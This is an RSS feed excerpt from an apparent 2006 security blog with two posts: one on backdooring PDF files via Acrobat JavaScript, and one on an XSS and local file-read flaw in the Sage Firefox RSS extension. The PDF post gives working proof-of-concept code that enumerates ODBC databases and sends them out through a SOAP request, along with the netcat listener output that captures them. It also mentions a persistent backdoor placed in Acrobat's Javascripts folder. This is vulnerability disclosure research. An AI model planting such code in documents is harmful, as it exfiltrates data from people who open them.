<p>Recently, there has been alot of hype involving backdooring various web technologies. <a href="http://www.gnucitizen.org">pdp (arcitect)</a> has done alot of work centered around this area.</p>
<p>I saw <a href="http://jeremiahgrossman.blogspot.com/">Jeremiah Grossman</a> mention PDF&#8217;s being &#8220;BAD&#8221;, however, I was unable to easily locate any practical reasons as to why. I decided to investigate this a little further.</p>
<p>At first glance PDF <a href="http://www.digitaldocumentsllc.com/">document</a>s seem obviously vulnerable. This is due to the fact that it supports JavaScript. However, there are quite a few twists and turns. It is by no means as straight forward as this.</p>
<p>Adobe supports its own JavaScript object model. For example, &#8220;alert(&#8217;xss&#8217;)&#8221; must be called from the app object, so this becomes &#8220;app.alert(&#8217;xss&#8217;)&#8221;. This means JavaScript attacks are limited to the functionality supported within Adobe. Secondly, Adobe Reader and Adobe Professional (the two apps I focus on in this article) are very different with regards to which JavaScript objects are allowed.</p>
<p><!--adsense#mdaw_imgbanner--></p>
<p>This article will give two practical examples of how Adobe Professional and Adobe Reader can be backdoored. There are 7 or more points where an attacker can launch malicious code. Both of the attacks discussed below are attached to the &#8220;Page Open&#8221; event.</p>
<p>The trigger can be accessed via &#8220;Page Properties | Actions tab&#8221;.</p>
<p>The first attack is simple and affects both Adobe Reader and Adobe Professional. It involves adding a malicious link into the PDF document. Once the document is opened, the user&#8217;s browser is automatically launched and the link is accessed. At this point it is obvious that any malicious code be launched. It is interesting to note that both Adobe 6 &amp; 7 did not warn me before launching these URLs.</p>
<p>The second attack involves utilising Adobe&#8217;s ADBC (Adobe Database Connectivity) and Web Services support. The following proof of concept code accesses the Windows ODBC, enumerates available databases and then sends this information to &#8220;localhost&#8221; via the web service.</p>
<pre>var cURL = "http://localhost/";
var cTestString = "";

var databaseList = ADBC.getDataSourceList();

var DB = "";
  if (databaseList != null) {
    for (var i=0; i&lt;databaseList.length ; i++)
     DB+=databaseList[i].name;
   }

 cTestString = DB;

 var response = SOAP.request( {
   cURL: cURL,
   oRequest: {
     "http://myxmlns/:echoString": {
      inputString: cTestString
     }
   },
 cAction: "http://additional-opt/"
});

var result = response["http://no-need/:echoStringResponse"]["return"];</pre>
<pre>On the server side we get this:
$ ./nc.exe -l -p 80 -v
listening on [any] 80 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 1924
POST / HTTP/1.1
Accept: */*
Content-Type: text/xml; charset=UTF-8
SOAPAction: "http://additional-opt/"
Content-Length: 578
User-Agent: Mozilla/3.0 (compatible; Acrobat SOAP 7.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache

&lt;?xml version="1.0"?&gt;
&lt;SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xm
lns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w
3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt;&lt;SOA
P-ENV:Body&gt;&lt;ns0:echoString SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/so
ap/encoding/" xmlns:ns0="http://myxmlns/"&gt;&lt;inputString xsi:type="xsd:string"&gt;<strong>MS
Access 97 DatabaseFoxPro FilesText FilesMS Access DatabaseExcel FilesdBASE Files
dbase1</strong>&lt;/inputString&gt;
&lt;/ns0:echoString&gt;
&lt;/SOAP-ENV:Body&gt;
&lt;/SOAP-ENV:Envelope&gt;</pre>
<p>I am sure with a bit more creativity even simpler and/or more advanced attacks could be put together. Adobe Acrabat supports, &#8220;HTML forms&#8221;, &#8220;File system access&#8221; and the list goes on.<br />
One of the other interesting finds was the fact that you can backdoor all Adobe Acrabat files by loading a backdoored JavaScript file into your %ADOBE-VERSION-DIR%\Acrobat\Javascripts directory.</p>
<p>Proof of concept for example 1 can be found <a href="http://michaeldaw.org/projects/backdoored1.pdf">here</a>.<br />
Proof of concept for example 2 can be found <a href="http://michaeldaw.org/projects/backdoored2.pdf">here</a>.</p>
<p><!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/md-hacks/backdooring-pdf-files/feed</wfw:commentRss>
		<slash:comments>53</slash:comments>
		</item>
		<item>
		<title>Cross Context Scripting with Sage</title>
		<link>http://michaeldaw.org/md-hacks/cross-context-scripting-with-sage</link>
		<comments>http://michaeldaw.org/md-hacks/cross-context-scripting-with-sage#comments</comments>
		<pubDate>Sat, 09 Sep 2006 05:54:55 +0000</pubDate>
		<dc:creator>dk</dc:creator>
				<category><![CDATA[Michael Daw's Hacks]]></category>

		<guid isPermaLink="false">http://michaeldaw.org/md-hacks/cross-context-scripting-with-sage/</guid>
		<description><![CDATA[

Update:
http://michaeldaw.org/md-hacks/rss-injection-in-sage-part-2/


I would often keep abreast of new vulnerabilities and exploits via my RSS feeds. Visiting page after page was just never fun. RSS allowed me to categorise, organise and track the security mayhem on the Internet. What was the point of employing a security analyst who was outdated and outgunned?


I decided to play with Sage, [...]]]></description>
			<content:encoded><![CDATA[<p><img src="/images/sage.jpg" alt="" /></p>
<p>
<b>Update:</b><br />
<a href="http://michaeldaw.org/md-hacks/rss-injection-in-sage-part-2/">http://michaeldaw.org/md-hacks/rss-injection-in-sage-part-2/</a>
</p>
<p>
I would often keep abreast of new vulnerabilities and exploits via my RSS feeds. Visiting page after page was just never fun. RSS allowed me to categorise, organise and track the security mayhem on the Internet. What was the point of employing a security analyst who was outdated and outgunned?
</p>
<p>
I decided to play with <a href="http://sage.mozdev.org">Sage</a>, which is a popular RSS extension for Mozilla Firefox. It had a friendly interface and a nice option to turn HTML tags on and off. This was a feature I was certainly interested in. It meant I could prevent a number of attacks outlined by SPI Dynamicâ€™s recent <a href="http://www.spidynamics.com/assets/documents/HackingFeeds.pdf">RSS Injection whitepaper</a>. The recommendation given in this paper was the typical recommendation given to XSS attacks. Escape â€œ&lt;&gt;â€ to â€œ&amp;lt; &amp;gt;â€
</p>
<p>
I turned off HTML tags and continued on as normal. However, something odd happened. When rendering my whitepaper <a href="http://michaeldaw.org/projects/awakening-the-sleeping-giant-v10/">â€œAwakening the Sleeping Giantâ€</a> an insert of JavaScript was executed in my browser. How bazaar I thought. The security enabled feature makes me vulnerable. Sage was vulnerable to XSS! I immediately contacted <a href="http://www.gnucitizen.org">pdp (architect)</a>. We worked on it for 30 minutes and for those 30 minutes all you could hear were sinister laughs.
</p>
<p>
First: Sage rendered â€œ&amp;lt,&amp;gtâ€ as â€œ&lt;&gt;â€. This means JavaScript can be executed when HTML tags are turned off (not the default).
</p>
<p>
Second: Logical mental progression put forward the question, what if we reversed it? â€œ&amp;lt, &amp;gtâ€ became â€œ&lt;&gt;â€ when HTML tags were turned on (THE DEFAULT). This means we can effectively hack the latest version of Sage via RSS Injection regardless of which mode is set.
</p>
<p>
Thirdly: Sage converts the feed into an HTML file and stores it on the local system. This means we were now in the browserâ€™s local zone policy. From here we could read any file from the local system.
</p>
<p>
See <a href="http://www.gnucitizen.org/blog/cross-context-scripting-with-sage/">GNUCITIZEN</a> more proof of concept example.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldaw.org/md-hacks/cross-context-scripting-with-sage/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
